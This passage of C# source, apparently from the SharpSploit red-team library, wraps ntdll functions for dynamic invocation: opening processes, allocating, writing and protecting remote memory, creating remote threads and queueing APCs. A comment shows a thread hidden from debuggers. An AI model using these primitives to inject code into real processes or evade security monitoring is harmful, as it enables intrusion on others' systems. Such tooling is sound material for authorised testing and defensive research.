      };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"RtlCreateUserThread\",\r\n                typeof(DELEGATES.RtlCreateUserThread), ref funcargs);\r\n\r\n            // Update the modified variables\r\n            Thread = (IntPtr)funcargs[8];\r\n\r\n            return retValue;\r\n        }\r\n\r\n        public static Data.Native.NTSTATUS NtCreateSection(\r\n            ref IntPtr SectionHandle,\r\n            uint DesiredAccess,\r\n            IntPtr ObjectAttributes,\r\n            ref ulong MaximumSize,\r\n            uint SectionPageProtection,\r\n            uint AllocationAttributes,\r\n            IntPtr FileHandle)\r\n        {\r\n\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, SectionPageProtection, AllocationAttributes, FileHandle\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"NtCreateSection\", typeof(DELEGATES.NtCreateSection), ref funcargs);\r\n            if (retValue != Data.Native.NTSTATUS.Success)\r\n            {\r\n                throw new InvalidOperationException(\"Unable to create section, \" + retValue);\r\n            }\r\n\r\n            // Update the modified variables\r\n            SectionHandle = (IntPtr) funcargs[0];\r\n            MaximumSize = (ulong) funcargs[3];\r\n\r\n            return retValue;\r\n        }\r\n\r\n        public static Data.Native.NTSTATUS NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr)\r\n        {\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                hProc, baseAddr\r\n            };\r\n\r\n            Data.Native.NTSTATUS result = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"NtUnmapViewOfSection\",\r\n                typeof(DELEGATES.NtUnmapViewOfSection), ref funcargs);\r\n\r\n            return result;\r\n        }\r\n\r\n        public static Data.Native.NTSTATUS NtMapViewOfSection(\r\n            IntPtr SectionHandle,\r\n            IntPtr ProcessHandle,\r\n            ref IntPtr BaseAddress,\r\n            IntPtr ZeroBits,\r\n            IntPtr CommitSize,\r\n            IntPtr SectionOffset,\r\n            ref ulong ViewSize,\r\n            uint InheritDisposition,\r\n            uint AllocationType,\r\n            uint Win32Protect)\r\n        {\r\n\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType,\r\n                Win32Protect\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"NtMapViewOfSection\", typeof(DELEGATES.NtMapViewOfSection), ref funcargs);\r\n            if (retValue != Data.Native.NTSTATUS.Success && retValue != Data.Native.NTSTATUS.ImageNotAtBase)\r\n            {\r\n                throw new InvalidOperationException(\"Unable to map view of section, \" + retValue);\r\n            }\r\n\r\n            // Update the modified variables.\r\n            BaseAddress = (IntPtr) funcargs[2];\r\n            ViewSize = (ulong) funcargs[6];\r\n\r\n            return retValue;\r\n        }\r\n\r\n        public static void RtlInitUnicodeString(ref Data.Native.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)\r\n        {\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                DestinationString, SourceString\r\n            };\r\n\r\n            Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"RtlInitUnicodeString\", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs);\r\n\r\n            // Update the modified variables\r\n            DestinationString = (Data.Native.UNICODE_STRING)funcargs[0];\r\n        }\r\n\r\n        public static Data.Native.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Data.Native.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)\r\n        {\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                PathToFile, dwFlags, ModuleFileName, ModuleHandle\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"LdrLoadDll\", typeof(DELEGATES.LdrLoadDll), ref funcargs);\r\n\r\n            // Update the modified variables\r\n            ModuleHandle = (IntPtr)funcargs[3];\r\n\r\n            return retValue;\r\n        }\r\n\r\n        public static void RtlZeroMemory(IntPtr Destination, int Length)\r\n        {\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                Destination, Length\r\n            };\r\n\r\n            Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"RtlZeroMemory\", typeof(DELEGATES.RtlZeroMemory), ref funcargs);\r\n        }\r\n\r\n        public static Data.Native.NTSTATUS NtQueryInformationProcess(IntPtr hProcess, Data.Native.PROCESSINFOCLASS processInfoClass, out IntPtr pProcInfo)\r\n        {\r\n            int processInformationLength;\r\n            UInt32 RetLen = 0;\r\n\r\n            switch (processInfoClass)\r\n            {\r\n                case Data.Native.PROCESSINFOCLASS.ProcessWow64Information:\r\n                    pProcInfo = Marshal.AllocHGlobal(IntPtr.Size);\r\n                    RtlZeroMemory(pProcInfo, IntPtr.Size);\r\n                    processInformationLength = IntPtr.Size;\r\n                    break;\r\n                case Data.Native.PROCESSINFOCLASS.ProcessBasicInformation:\r\n                    Data.Native.PROCESS_BASIC_INFORMATION PBI = new Data.Native.PROCESS_BASIC_INFORMATION();\r\n                    pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(PBI));\r\n                    RtlZeroMemory(pProcInfo, Marshal.SizeOf(PBI));\r\n                    Marshal.StructureToPtr(PBI, pProcInfo, true);\r\n                    processInformationLength = Marshal.SizeOf(PBI);\r\n                    break;\r\n                default:\r\n                    throw new InvalidOperationException($\"Invalid ProcessInfoClass: {processInfoClass}\");\r\n            }\r\n\r\n            object[] funcargs =\r\n            {\r\n                hProcess, processInfoClass, pProcInfo, processInformationLength, RetLen\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"NtQueryInformationProcess\", typeof(DELEGATES.NtQueryInformationProcess), ref funcargs);\r\n            if (retValue != Data.Native.NTSTATUS.Success)\r\n            {\r\n                throw new UnauthorizedAccessException(\"Access is denied.\");\r\n            }\r\n\r\n            // Update the modified variables\r\n            pProcInfo = (IntPtr)funcargs[2];\r\n\r\n            return retValue;\r\n        }\r\n\r\n        public static bool NtQueryInformationProcessWow64Information(IntPtr hProcess)\r\n        {\r\n            Data.Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Data.Native.PROCESSINFOCLASS.ProcessWow64Information, out IntPtr pProcInfo);\r\n            if (retValue != Data.Native.NTSTATUS.Success)\r\n            {\r\n                throw new UnauthorizedAccessException(\"Access is denied.\");\r\n            }\r\n\r\n            if (Marshal.ReadIntPtr(pProcInfo) == IntPtr.Zero)\r\n            {\r\n                return false;\r\n            }\r\n            return true;\r\n        }\r\n\r\n        public static Data.Native.PROCESS_BASIC_INFORMATION NtQueryInformationProcessBasicInformation(IntPtr hProcess)\r\n        {\r\n            Data.Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Data.Native.PROCESSINFOCLASS.ProcessBasicInformation, out IntPtr pProcInfo);\r\n            if (retValue != Data.Native.NTSTATUS.Success)\r\n            {\r\n                throw new UnauthorizedAccessException(\"Access is denied.\");\r\n            }\r\n\r\n            return (Data.Native.PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(Data.Native.PROCESS_BASIC_INFORMATION));\r\n        }\r\n\r\n        public static IntPtr NtOpenProcess(UInt32 ProcessId, Data.Win32.Kernel32.ProcessAccessFlags DesiredAccess)\r\n        {\r\n            // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's\r\n            IntPtr ProcessHandle = IntPtr.Zero;\r\n            Data.Native.OBJECT_ATTRIBUTES oa = new Data.Native.OBJECT_ATTRIBUTES();\r\n            Data.Native.CLIENT_ID ci = new Data.Native.CLIENT_ID();\r\n            ci.UniqueProcess = (IntPtr)ProcessId;\r\n\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                ProcessHandle, DesiredAccess, oa, ci\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"NtOpenProcess\", typeof(DELEGATES.NtOpenProcess), ref funcargs);\r\n            if (retValue != Data.Native.NTSTATUS.Success && retValue == Data.Native.NTSTATUS.InvalidCid)\r\n            {\r\n                throw new InvalidOperationException(\"An invalid client ID was specified.\");\r\n            }\r\n            if (retValue != Data.Native.NTSTATUS.Success)\r\n            {\r\n                throw new UnauthorizedAccessException(\"Access is denied.\");\r\n            }\r\n\r\n            // Update the modified variables\r\n            ProcessHandle = (IntPtr)funcargs[0];\r\n\r\n            return ProcessHandle;\r\n        }\r\n\r\n        public static void NtQueueApcThread(IntPtr ThreadHandle, IntPtr ApcRoutine, IntPtr ApcArgument1, IntPtr ApcArgument2, IntPtr ApcArgument3)\r\n        {\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                ThreadHandle, ApcRoutine, ApcArgument1, ApcArgument2, ApcArgument3\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"NtQueueApcThread\", typeof(DELEGATES.NtQueueApcThread), ref funcargs);\r\n            if (retValue != Data.Native.NTSTATUS.Success)\r\n            {\r\n                throw new InvalidOperationException(\"Unable to queue APC, \" + retValue);\r\n            }\r\n        }\r\n\r\n        public static IntPtr NtOpenThread(int TID, Data.Win32.Kernel32.ThreadAccess DesiredAccess)\r\n        {\r\n            // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's\r\n            IntPtr ThreadHandle = IntPtr.Zero;\r\n            Data.Native.OBJECT_ATTRIBUTES oa = new Data.Native.OBJECT_ATTRIBUTES();\r\n            Data.Native.CLIENT_ID ci = new Data.Native.CLIENT_ID();\r\n            ci.UniqueThread = (IntPtr)TID;\r\n\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                ThreadHandle, DesiredAccess, oa, ci\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"NtOpenThread\", typeof(DELEGATES.NtOpenProcess), ref funcargs);\r\n            if (retValue != Data.Native.NTSTATUS.Success && retValue == Data.Native.NTSTATUS.InvalidCid)\r\n            {\r\n                throw new InvalidOperationException(\"An invalid client ID was specified.\");\r\n            }\r\n            if (retValue != Data.Native.NTSTATUS.Success)\r\n            {\r\n                throw new UnauthorizedAccessException(\"Access is denied.\");\r\n            }\r\n\r\n            // Update the modified variables\r\n            ThreadHandle = (IntPtr)funcargs[0];\r\n\r\n            return ThreadHandle;\r\n        }\r\n\r\n        public static IntPtr NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, UInt32 AllocationType, UInt32 Protect)\r\n        {\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"NtAllocateVirtualMemory\", typeof(DELEGATES.NtAllocateVirtualMemory), ref funcargs);\r\n            if (retValue == Data.Native.NTSTATUS.AccessDenied)\r\n            {\r\n                // STATUS_ACCESS_DENIED\r\n                throw new UnauthorizedAccessException(\"Access is denied.\");\r\n            }\r\n            if (retValue == Data.Native.NTSTATUS.AlreadyCommitted)\r\n            {\r\n                // STATUS_ALREADY_COMMITTED\r\n                throw new InvalidOperationException(\"The specified address range is already committed.\");\r\n            }\r\n            if (retValue == Data.Native.NTSTATUS.CommitmentLimit)\r\n            {\r\n                // STATUS_COMMITMENT_LIMIT\r\n                throw new InvalidOperationException(\"Your system is low on virtual memory.\");\r\n            }\r\n            if (retValue == Data.Native.NTSTATUS.ConflictingAddresses)\r\n            {\r\n                // STATUS_CONFLICTING_ADDRESSES\r\n                throw new InvalidOperationException(\"The specified address range conflicts with the address space.\");\r\n            }\r\n            if (retValue == Data.Native.NTSTATUS.InsufficientResources)\r\n            {\r\n                // STATUS_INSUFFICIENT_RESOURCES\r\n                throw new InvalidOperationException(\"Insufficient system resources exist to complete the API call.\");\r\n            }\r\n            if (retValue == Data.Native.NTSTATUS.InvalidHandle)\r\n            {\r\n                // STATUS_INVALID_HANDLE\r\n                throw new InvalidOperationException(\"An invalid HANDLE was specified.\");\r\n            }\r\n            if (retValue == Data.Native.NTSTATUS.InvalidPageProtection)\r\n            {\r\n                // STATUS_INVALID_PAGE_PROTECTION\r\n                throw new InvalidOperationException(\"The specified page protection was not valid.\");\r\n            }\r\n            if (retValue == Data.Native.NTSTATUS.NoMemory)\r\n            {\r\n                // STATUS_NO_MEMORY\r\n                throw new InvalidOperationException(\"Not enough virtual memory or paging file quota is available to complete the specified operation.\");\r\n            }\r\n            if (retValue == Data.Native.NTSTATUS.ObjectTypeMismatch)\r\n            {\r\n                // STATUS_OBJECT_TYPE_MISMATCH\r\n                throw new InvalidOperationException(\"There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request.\");\r\n            }\r\n            if (retValue != Data.Native.NTSTATUS.Success)\r\n            {\r\n                // STATUS_PROCESS_IS_TERMINATING == 0xC000010A\r\n                throw new InvalidOperationException(\"An attempt was made to duplicate an object handle into or out of an exiting process.\");\r\n            }\r\n\r\n            BaseAddress = (IntPtr)funcargs[1];\r\n            return BaseAddress;\r\n        }\r\n\r\n        public static void NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 FreeType)\r\n        {\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                ProcessHandle, BaseAddress, RegionSize, FreeType\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"NtFreeVirtualMemory\", typeof(DELEGATES.NtFreeVirtualMemory), ref funcargs);\r\n            if (retValue == Data.Native.NTSTATUS.AccessDenied)\r\n            {\r\n                // STATUS_ACCESS_DENIED\r\n                throw new UnauthorizedAccessException(\"Access is denied.\");\r\n            }\r\n            if (retValue == Data.Native.NTSTATUS.InvalidHandle)\r\n            {\r\n                // STATUS_INVALID_HANDLE\r\n                throw new InvalidOperationException(\"An invalid HANDLE was specified.\");\r\n            }\r\n            if (retValue != Data.Native.NTSTATUS.Success)\r\n            {\r\n                // STATUS_OBJECT_TYPE_MISMATCH == 0xC0000024\r\n                throw new InvalidOperationException(\"There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request.\");\r\n            }\r\n        }\r\n\r\n        public static string GetFilenameFromMemoryPointer(IntPtr hProc, IntPtr pMem)\r\n        {\r\n            // Alloc buffer for result struct\r\n            IntPtr pBase = IntPtr.Zero;\r\n            IntPtr RegionSize = (IntPtr)0x500;\r\n            IntPtr pAlloc = NtAllocateVirtualMemory(hProc, ref pBase, IntPtr.Zero, ref RegionSize, Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE, Data.Win32.WinNT.PAGE_READWRITE);\r\n\r\n            // Prepare NtQueryVirtualMemory parameters\r\n            Data.Native.MEMORYINFOCLASS memoryInfoClass = Data.Native.MEMORYINFOCLASS.MemorySectionName;\r\n            UInt32 MemoryInformationLength = 0x500;\r\n            UInt32 Retlen = 0;\r\n\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                hProc, pMem, memoryInfoClass, pAlloc, MemoryInformationLength, Retlen\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"NtQueryVirtualMemory\", typeof(DELEGATES.NtQueryVirtualMemory), ref funcargs);\r\n\r\n            string FilePath = string.Empty;\r\n            if (retValue == Data.Native.NTSTATUS.Success)\r\n            {\r\n                Data.Native.UNICODE_STRING sn = (Data.Native.UNICODE_STRING)Marshal.PtrToStructure(pAlloc, typeof(Data.Native.UNICODE_STRING));\r\n                FilePath = Marshal.PtrToStringUni(sn.Buffer);\r\n            }\r\n\r\n            // Free allocation\r\n            NtFreeVirtualMemory(hProc, ref pAlloc, ref RegionSize, Data.Win32.Kernel32.MEM_RELEASE);\r\n            if (retValue == Data.Native.NTSTATUS.AccessDenied)\r\n            {\r\n                // STATUS_ACCESS_DENIED\r\n                throw new UnauthorizedAccessException(\"Access is denied.\");\r\n            }\r\n            if (retValue == Data.Native.NTSTATUS.AccessViolation)\r\n            {\r\n                // STATUS_ACCESS_VIOLATION\r\n                throw new InvalidOperationException(\"The specified base address is an invalid virtual address.\");\r\n            }\r\n            if (retValue == Data.Native.NTSTATUS.InfoLengthMismatch)\r\n            {\r\n                // STATUS_INFO_LENGTH_MISMATCH\r\n                throw new InvalidOperationException(\"The MemoryInformation buffer is larger than MemoryInformationLength.\");\r\n            }\r\n            if (retValue == Data.Native.NTSTATUS.InvalidParameter)\r\n            {\r\n                // STATUS_INVALID_PARAMETER\r\n                throw new InvalidOperationException(\"The specified base address is outside the range of accessible addresses.\");\r\n            }\r\n            return FilePath;\r\n        }\r\n\r\n        public static UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect)\r\n        {\r\n            // Craft an array for the arguments\r\n            UInt32 OldProtect = 0;\r\n            object[] funcargs =\r\n            {\r\n                ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"NtProtectVirtualMemory\", typeof(DELEGATES.NtProtectVirtualMemory), ref funcargs);\r\n            if (retValue != Data.Native.NTSTATUS.Success)\r\n            {\r\n                throw new InvalidOperationException(\"Failed to change memory protection, \" + retValue);\r\n            }\r\n\r\n            OldProtect = (UInt32)funcargs[4];\r\n            return OldProtect;\r\n        }\r\n\r\n        public static UInt32 NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, UInt32 BufferLength)\r\n        {\r\n            // Craft an array for the arguments\r\n            UInt32 BytesWritten = 0;\r\n            object[] funcargs =\r\n            {\r\n                ProcessHandle, BaseAddress, Buffer, BufferLength, BytesWritten\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"NtWriteVirtualMemory\", typeof(DELEGATES.NtWriteVirtualMemory), ref funcargs);\r\n            if (retValue != Data.Native.NTSTATUS.Success)\r\n            {\r\n                throw new InvalidOperationException(\"Failed to write memory, \" + retValue);\r\n            }\r\n\r\n            BytesWritten = (UInt32)funcargs[4];\r\n            return BytesWritten;\r\n        }\r\n\r\n        public static IntPtr LdrGetProcedureAddress(IntPtr hModule, IntPtr FunctionName, IntPtr Ordinal, ref IntPtr FunctionAddress)\r\n        {\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                hModule, FunctionName, Ordinal, FunctionAddress\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"LdrGetProcedureAddress\", typeof(DELEGATES.LdrGetProcedureAddress), ref funcargs);\r\n            if (retValue != Data.Native.NTSTATUS.Success)\r\n            {\r\n                throw new InvalidOperationException(\"Failed get procedure address, \" + retValue);\r\n            }\r\n\r\n            FunctionAddress = (IntPtr)funcargs[3];\r\n            return FunctionAddress;\r\n        }\r\n\r\n        public static void RtlGetVersion(ref Data.Native.OSVERSIONINFOEX VersionInformation)\r\n        {\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                VersionInformation\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"RtlGetVersion\", typeof(DELEGATES.RtlGetVersion), ref funcargs);\r\n            if (retValue != Data.Native.NTSTATUS.Success)\r\n            {\r\n                throw new InvalidOperationException(\"Failed get procedure address, \" + retValue);\r\n            }\r\n\r\n            VersionInformation = (Data.Native.OSVERSIONINFOEX)funcargs[0];\r\n        }\r\n\r\n        public static UInt32 NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, ref UInt32 NumberOfBytesToRead)\r\n        {\r\n            // Craft an array for the arguments\r\n            UInt32 NumberOfBytesRead = 0;\r\n            object[] funcargs =\r\n            {\r\n                ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"NtReadVirtualMemory\", typeof(DELEGATES.NtReadVirtualMemory), ref funcargs);\r\n            if (retValue != Data.Native.NTSTATUS.Success)\r\n            {\r\n                throw new InvalidOperationException(\"Failed to read memory, \" + retValue);\r\n            }\r\n\r\n            NumberOfBytesRead = (UInt32)funcargs[4];\r\n            return NumberOfBytesRead;\r\n        }\r\n\r\n        public static IntPtr NtOpenFile(ref IntPtr FileHandle, Data.Win32.Kernel32.FileAccessFlags DesiredAccess, ref Data.Native.OBJECT_ATTRIBUTES ObjAttr, ref Data.Native.IO_STATUS_BLOCK IoStatusBlock, Data.Win32.Kernel32.FileShareFlags ShareAccess, Data.Win32.Kernel32.FileOpenFlags OpenOptions)\r\n        {\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                FileHandle, DesiredAccess, ObjAttr, IoStatusBlock, ShareAccess, OpenOptions\r\n            };\r\n\r\n            Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@\"ntdll.dll\", @\"NtOpenFile\", typeof(DELEGATES.NtOpenFile), ref funcargs);\r\n            if (retValue != Data.Native.NTSTATUS.Success)\r\n            {\r\n                throw new InvalidOperationException(\"Failed to open file, \" + retValue);\r\n            }\r\n\r\n\r\n            FileHandle = (IntPtr)funcargs[0];\r\n            return FileHandle;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Holds delegates for API calls in the NT Layer.\r\n        /// Must be public so that they may be used with SharpSploit.Execution.DynamicInvoke.Generic.DynamicFunctionInvoke\r\n        /// </summary>\r\n        /// <example>\r\n        /// \r\n        /// // These delegates may also be used directly.\r\n        ///\r\n        /// // Get a pointer to the NtCreateThreadEx function.\r\n        /// IntPtr pFunction = Execution.DynamicInvoke.Generic.GetLibraryAddress(@\"ntdll.dll\", \"NtCreateThreadEx\");\r\n        /// \r\n        /// //  Create an instance of a NtCreateThreadEx delegate from our function pointer.\r\n        /// DELEGATES.NtCreateThreadEx createThread = (NATIVE_DELEGATES.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(\r\n        ///    pFunction, typeof(NATIVE_DELEGATES.NtCreateThreadEx));\r\n        ///\r\n        /// //  Invoke NtCreateThreadEx using the delegate\r\n        /// createThread(ref threadHandle, Data.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, IntPtr.Zero,\r\n        ///     procHandle, startAddress, IntPtr.Zero, Data.Native.NT_CREATION_FLAGS.HIDE_FROM_DEBUGGER, 0, 0, 0, IntPtr.Zero);\r\n        /// \r\n        /// </example>\r\n        public struct DELEGATES\r\n        {\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate Data.Native.NTSTATUS NtCreateThreadEx(\r\n                out IntPtr threadHandle,\r\n                Data.Win32.WinNT.ACCESS_MASK desiredAccess,\r\n                IntPtr objectAttributes,\r\n                IntPtr processHandle,\r\n                IntPtr startAddress,\r\n                IntPtr parameter,\r\n                bool createSuspended,\r\n                int stackZeroBits,\r\n                int sizeOfStack,\r\n                int maximumStackSize,\r\n                IntPtr attributeList);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate Data.Native.NTSTATUS RtlCreateUserThread(\r\n                IntPtr Process,\r\n                IntPtr ThreadSecurityDescriptor,\r\n                bool CreateSuspended,\r\n                IntPtr ZeroBits,\r\n                IntPtr MaximumStackSize,\r\n                IntPtr CommittedStackSize,\r\n                IntPtr StartAddress,\r\n                IntPtr Parameter,\r\n                ref IntPtr Thread,\r\n                IntPtr ClientId);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate Data.Native.NTSTATUS NtCreateSection(\r\n                ref IntPtr SectionHandle,\r\n                uint DesiredAccess,\r\n                IntPtr ObjectAttributes,\r\n                ref ulong MaximumSize,\r\n                uint SectionPageProtection,\r\n                uint AllocationAttributes,\r\n                IntPtr FileHandle);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate Data.Native.NTSTATUS NtUnmapViewOfSection(\r\n                IntPtr hProc,\r\n                IntPtr baseAddr);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate Data.Native.NTSTATUS NtMapViewOfSection(\r\n                IntPtr SectionHandle,\r\n                IntPtr ProcessHandle,\r\n                out IntPtr BaseAddress,\r\n                IntPtr ZeroBits,\r\n                IntPtr CommitSize,\r\n                IntPtr SectionOffset,\r\n                out ulong ViewSize,\r\n                uint InheritDisposition,\r\n                uint AllocationType,\r\n                uint Win32Protect);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate UInt32 LdrLoadDll(\r\n                IntPtr PathToFile,\r\n                UInt32 dwFlags,\r\n                ref Data.Native.UNICODE_STRING ModuleFileName,\r\n                ref IntPtr ModuleHandle);\r\n            \r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate void RtlInitUnicodeString(\r\n                ref Data.Native.UNICODE_STRING DestinationString,\r\n                [MarshalAs(UnmanagedType.LPWStr)]\r\n                string SourceString);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate void RtlZeroMemory(\r\n                IntPtr Destination,\r\n                int length);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate UInt32 NtQueryInformationProcess(\r\n                IntPtr processHandle,\r\n                Data.Native.PROCESSINFOCLASS processInformationClass,\r\n                IntPtr processInformation,\r\n                int processInformationLength,\r\n                ref UInt32 returnLength);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate UInt32 NtOpenProcess(\r\n                ref IntPtr ProcessHandle,\r\n                Data.Win32.Kernel32.ProcessAccessFlags DesiredAccess,\r\n                ref Data.Native.OBJECT_ATTRIBUTES ObjectAttributes,\r\n                ref Data.Native.CLIENT_ID ClientId);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate UInt32 NtQueueApcThread(\r\n                IntPtr ThreadHandle,\r\n                IntPtr ApcRoutine,\r\n                IntPtr ApcArgument1,\r\n                IntPtr ApcArgument2,\r\n                IntPtr ApcArgument3);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate UInt32 NtOpenThread(\r\n                ref IntPtr ThreadHandle,\r\n                Data.Win32.Kernel32.ThreadAccess DesiredAccess,\r\n                ref Data.Native.OBJECT_ATTRIBUTES ObjectAttributes,\r\n                ref Data.Native.CLIENT_ID ClientId);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate UInt32 NtAllocateVirtualMemory(\r\n                IntPtr ProcessHandle,\r\n                ref IntPtr BaseAddress,\r\n                IntPtr ZeroBits,\r\n                ref IntPtr RegionSize,\r\n                UInt32 AllocationType,\r\n                UInt32 Protect);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate UInt32 NtFreeVirtualMemory(\r\n                IntPtr ProcessHandle,\r\n                ref IntPtr BaseAddress,\r\n                ref IntPtr RegionSize,\r\n                UInt32 FreeType);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate UInt32 NtQueryVirtualMemory(\r\n                IntPtr ProcessHandle,\r\n                IntPtr BaseAddress,\r\n                Data.Native.MEMORYINFOCLASS MemoryInformationClass,\r\n                IntPtr MemoryInformation,\r\n                UInt32 MemoryInformationLength,\r\n                ref UInt32 ReturnLength);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate UInt32 NtProtectVirtualMemory(\r\n                IntPtr ProcessHandle,\r\n                ref IntPtr BaseAddress,\r\n                ref IntPtr RegionSize,\r\n                UInt32 NewProtect,\r\n                ref UInt32 OldProtect);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate UInt32 NtWriteVirtualMemory(\r\n                IntPtr ProcessHandle,\r\n                IntPtr BaseAddress,\r\n                IntPtr Buffer,\r\n                UInt32 BufferLength,\r\n                ref UInt32 BytesWritten);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate UInt32 RtlUnicodeStringToAnsiString(\r\n                ref Data.Native.ANSI_STRING DestinationString,\r\n                ref Data.Native.UNICODE_STRING SourceString,\r\n                